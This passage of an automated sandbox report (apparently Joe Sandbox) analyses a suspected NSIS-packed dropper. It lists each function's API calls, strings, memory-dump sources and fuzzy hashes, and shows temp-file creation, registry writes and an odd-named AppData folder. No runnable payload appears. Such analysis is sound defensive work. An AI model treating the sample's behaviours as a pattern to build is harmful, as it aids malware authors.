Function 00402644 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B0
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026EB
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 0040270E
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 00402724

Part of subcall function 00405E55: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405E6B

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D0

Strings

9, xrefs: 00402693

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 0f6749e0356039c80119e9da3c7509a60750b74a106ccf27ce207c31930fcb0b
Instruction ID: 4c47c5b6e7001fd487639b42c981b506dedcea616f9f6d447a3608767ea6fa5a
Opcode Fuzzy Hash: 0f6749e0356039c80119e9da3c7509a60750b74a106ccf27ce207c31930fcb0b
Instruction Fuzzy Hash: 8351E575D1021AABDF20DFA5DA88AAEB779FF04304F50443BE511B72D0D7B899828B58

Function 004065EC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406603
wsprintfW.USER32 ref: 0040663E
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406652

Strings

\, xrefs: 00406614
%s%S.dll, xrefs: 00406638
UXTHEME, xrefs: 004065F5

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction ID: 71749ee66451d02820e1787a81c679d49f65c12e6a5790e59d0bd58148e6f3af
Opcode Fuzzy Hash: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction Fuzzy Hash: 64F021705001196BCF10AB64DD0DFAB3B5CA700304F10487AA546F11D1EBBDDA65CB98

Function 004057B5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 004057F8
GetLastError.KERNEL32 ref: 0040580C
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405821
GetLastError.KERNEL32 ref: 0040582B

Strings

C:\Users\user\Desktop, xrefs: 004057B5

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-224404859
Opcode ID: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction ID: 81d47e77b106c5c69b6f53bab6ade4ced08fad65239eb4e1eedbceb886e7a33c
Opcode Fuzzy Hash: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction Fuzzy Hash: 8C01E5B2C00619DADF009FA1D9487EFBFB8EB14354F00803AD945B6281E7789618CFA9

Function 00405DA3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405DC1
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\3507071243740008011.exe",00403371,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,74DF3420,004035BF), ref: 00405DDC

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405DA8, 00405DAC
nsa, xrefs: 00405DB0
"C:\Users\user\Desktop\3507071243740008011.exe", xrefs: 00405DA3

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\3507071243740008011.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-3909342656
Opcode ID: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction ID: 0c0ec814c80ab85915f41b1413265c2d813ce01cabb3ac5407dd3af97de42ecd
Opcode Fuzzy Hash: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction Fuzzy Hash: 99F03076600304FFEB009F69DD09E9BB7A9EF95710F11803BE900E7250E6B199549B64

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(00000040,8BC3C95B), ref: 100022B8

Part of subcall function 10002640: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B2

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000000.00000002.2647896166.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2647879368.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647911414.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647926767.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3507071243740008011.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 80a71440bbdc6676df6433b68331a89e098fd0a61e7fd3645cfd834030fcbe9d
Instruction ID: 65685ba44f5e0dd4e22f20931bb662b0f8110762eb821eef9687284fed8b6370
Opcode Fuzzy Hash: 80a71440bbdc6676df6433b68331a89e098fd0a61e7fd3645cfd834030fcbe9d
Instruction Fuzzy Hash: 4A31AC75804241AAFB14DF649CC9BDA37E8FF043D4F158065FA0AAA08FDFB4A984C761

Function 004023DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsy62D9.tmp,00000023,00000011,00000002), ref: 00402429
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsy62D9.tmp,00000000,00000011,00000002), ref: 00402469
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsy62D9.tmp,00000000,00000011,00000002), ref: 00402551

Strings

C:\Users\user\AppData\Local\Temp\nsy62D9.tmp, xrefs: 0040241A, 0040243F, 00402453, 0040245E

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsy62D9.tmp
API String ID: 2655323295-1089519228
Opcode ID: b9a55d7f8e3e2dfd25d95f10a550debddd0b738e27ba6f811f629087d2df6e98
Instruction ID: 6bb9d856f7880fc58a9027dca602f60b1bf716c37025aa19f03bdcb786be9778
Opcode Fuzzy Hash: b9a55d7f8e3e2dfd25d95f10a550debddd0b738e27ba6f811f629087d2df6e98
Instruction Fuzzy Hash: 33118171E00108AEEB10AFA5DE49EAEBAB8EB54354F11843AF504F71D1DBB84D419B58

Function 00402D2A Relevance: 6.1, APIs: 4, Instructions: 64registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402D8F
RegCloseKey.ADVAPI32(?), ref: 00402D98
RegCloseKey.ADVAPI32(?), ref: 00402DB9

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 820009e43a9071b4c2fbcc767f02e7592704dcbe5a8c35a15d570ca0c02c344c
Instruction ID: 79d7ed05643b621c8e133add132d673d265f3a1e436d48668917152172a1be90
Opcode Fuzzy Hash: 820009e43a9071b4c2fbcc767f02e7592704dcbe5a8c35a15d570ca0c02c344c
Instruction Fuzzy Hash: AD116A32540509FBDF129F90CE09BEE7B69EF58340F110036B905B50E0E7B5DE21AB68

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405BFE: CharNextW.USER32(?,?,0042FA50,?,00405C72,0042FA50,0042FA50,?,?,74DF3420,004059B0,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405C0C
Part of subcall function 00405BFE: CharNextW.USER32(00000000), ref: 00405C11
Part of subcall function 00405BFE: CharNextW.USER32(00000000), ref: 00405C29

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 004057B5: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 004057F8

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Ossicular
API String ID: 1892508949-3139891972
Opcode ID: 64933fb819e76c9c5a4bf4a349c51baae94111e9253f76940e8e3ccf7a91a371
Instruction ID: f4fc84295b44ed4b17ac4e1ae603b231d2bd930c419d474b78473434f223dd35
Opcode Fuzzy Hash: 64933fb819e76c9c5a4bf4a349c51baae94111e9253f76940e8e3ccf7a91a371
Instruction Fuzzy Hash: 7711BE31504104ABCF316FA4CD01AAF36A0EF14368B28493BEA45B22F1DB3E4E519A4E

Function 0040525A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405289
CallWindowProcW.USER32(?,?,?,?), ref: 004052DA

Part of subcall function 00404263: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404275

Strings

, xrefs: 0040526A

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 3fd7a5bdf8e2bcd8409f4f3104da706e70a9a66b0760f7062862c6eded0751b7
Instruction ID: e35359e86d41fb5d6968ee62a371e6abd11f03428b82ac61abb391d392e116c6
Opcode Fuzzy Hash: 3fd7a5bdf8e2bcd8409f4f3104da706e70a9a66b0760f7062862c6eded0751b7
Instruction Fuzzy Hash: 0E017131510609ABDF209F51DD84A5B3A25EF84754F5000BBFA04751D1C77A9C929E6E

Function 00406150 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,?,00000800,00000002,0042C228,00000000,?,?,Call,?,?,004063C4,80000002), ref: 00406196
RegCloseKey.ADVAPI32(?,?,004063C4,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,0042C228), ref: 004061A1

Strings

Call, xrefs: 00406157

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: ccae29ee16f81b62eed190a0e72f85d1395cd89474178e8bc9e2f9375c5b4726
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: C7017172510209EADF21CF55CD05EDF3BA8EB54360F018035FD1596191D779D968CBA4

Function 00405867 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430250,Error launching installer), ref: 00405890
CloseHandle.KERNEL32(?), ref: 0040589D

Strings

Error launching installer, xrefs: 0040587A

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 26b27946013451d7cc559816144a6cf351020ce627575371dc693c6ec487af4b
Instruction ID: d54ab7d3c02f92ec190dfac26e1bcd6e14271da7ed0e34d6283108f8b7c5a0e7
Opcode Fuzzy Hash: 26b27946013451d7cc559816144a6cf351020ce627575371dc693c6ec487af4b
Instruction Fuzzy Hash: D4E09AB5900209BFEB109F65DD49F7B77ACEB04744F004565BD50F2150D778D8148A78

Function 0040202C Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402057

Part of subcall function 004052E6: lstrlenW.KERNEL32(0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000,?), ref: 0040531E
Part of subcall function 004052E6: lstrlenW.KERNEL32(0040325E,0042C228,00000000,0041D800,74DF23A0,?,?,?,?,?,?,?,?,?,0040325E,00000000), ref: 0040532E
Part of subcall function 004052E6: lstrcatW.KERNEL32(0042C228,0040325E,0040325E,0042C228,00000000,0041D800,74DF23A0), ref: 00405341
Part of subcall function 004052E6: SetWindowTextW.USER32(0042C228,0042C228), ref: 00405353
Part of subcall function 004052E6: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405379
Part of subcall function 004052E6: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405393
Part of subcall function 004052E6: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053A1

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00402068
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004020E5

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 864119935e3c92a972c97e6683a8f1d17c59749ba81c3d86f0a55431c134cf0a
Instruction ID: 42f79ed1eba5b951ee52ea84f7896f3e8cd2b7b6c2435203e6ffc1da5cb37fd9
Opcode Fuzzy Hash: 864119935e3c92a972c97e6683a8f1d17c59749ba81c3d86f0a55431c134cf0a
Instruction Fuzzy Hash: EF21C271900208EACF20AFA5CE4DAAE7A70AF04358F64413BF611B51E0DBBD8941DA5E

Function 1000289C Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000), ref: 1000295B
GetLastError.KERNEL32 ref: 10002A62

Memory Dump Source

Source File: 00000000.00000002.2647896166.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2647879368.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647911414.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2647926767.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3507071243740008011.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 34874d5dbfeecf70d049f007544d8fe97316615c6b6b2225bbceacac8e3d04ae
Instruction ID: 6dfa44c8e371a7ac1a486a55eff0af4ad814c9ea0d06d7514663fdd8c294557a
Opcode Fuzzy Hash: 34874d5dbfeecf70d049f007544d8fe97316615c6b6b2225bbceacac8e3d04ae
Instruction Fuzzy Hash: 4E51B4B9905211DFFB20DFA4DCC675937A8EB443D4F22C42AEA04E726DCE34A990CB55

Function 0040247E Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024AF
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsy62D9.tmp,00000000,00000011,00000002), ref: 00402551

Memory Dump Source

Source File: 00000000.00000002.2641054685.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2641036423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641072711.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641090860.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2641196627.000000000046A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3507071243740008011.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 8261bc8437de9397d7efa493d3c14ec671ad5d0a4e3b3d70237c1a055cd98deb
Instruction ID: 5dbb434a41a715d7517c89e318d331cd35bfdf9d93bbd69694c25902619df99f
Opcode Fuzzy Hash: 8261bc8437de9397d7efa493d3c14ec671ad5d0a4e3b3d70237c1a055cd98deb
Instruction Fuzzy Hash: DC11A331910209EFEF24DFA4CA585BEB6B4EF04354F21843FE046A72C0D7B84A45DB59

Function 00405C5B Relevance: 3.0, APIs: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406282: lstrcpynW.KERNEL32(?,?,00000400,00403444,00433EE0,NSIS Error,?,00000006,00000008,0000000A), ref: 0040628F

Part of subcall function 00405BFE: CharNextW.USER32(?,?,0042FA50,?,00405C72,0042FA50,0042FA50,?,?,74DF3420,004059B0,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405C0C
